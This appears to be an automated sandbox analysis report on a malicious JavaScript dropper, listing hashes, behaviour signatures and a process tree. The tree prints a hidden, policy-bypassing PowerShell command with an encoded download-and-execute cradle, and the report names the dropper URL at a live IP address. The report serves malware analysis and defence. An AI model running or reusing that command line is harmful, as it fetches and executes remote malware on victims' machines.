Analysis

  • max time kernel
    31s
  • max time network
    114s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    14/07/2021, 15:44

General

  • Target
    Vio_Reports_547536188.js
  • Size 56KB
  • Sample210714-tb319dtr52
  • SHA256 35e8a9d6a344fc280259cf5a6329bdc0e3d9b415f424e4dfc24cf5f76e12a06a
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://46.8.19.136/boogyman.php

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Vio_Reports_547536188.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:912
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8ANAA2AC4AOAAuADEAOQAuADEAMwA2AC8AYgBvAG8AZwB5AG0AYQBuAC4AcABoAHAAIgApAA==
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:204
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8ANAA2AC4AOAAuADEAOQAuADEAMwA2AC8AYgBvAG8AZwB5AG0AYQBuAC4AcABoAHAAIgApAA==
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2316
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2316 -s 2272
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1684

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2316-121-0x0000013C5B610000-0x0000013C5B611000-memory.dmp

        memory/2316-128-0x0000013C75920000-0x0000013C75921000-memory.dmp

        memory/2316-133-0x0000013C73740000-0x0000013C73742000-memory.dmp

        memory/2316-134-0x0000013C73743000-0x0000013C73745000-memory.dmp

        memory/2316-135-0x0000013C73746000-0x0000013C73748000-memory.dmp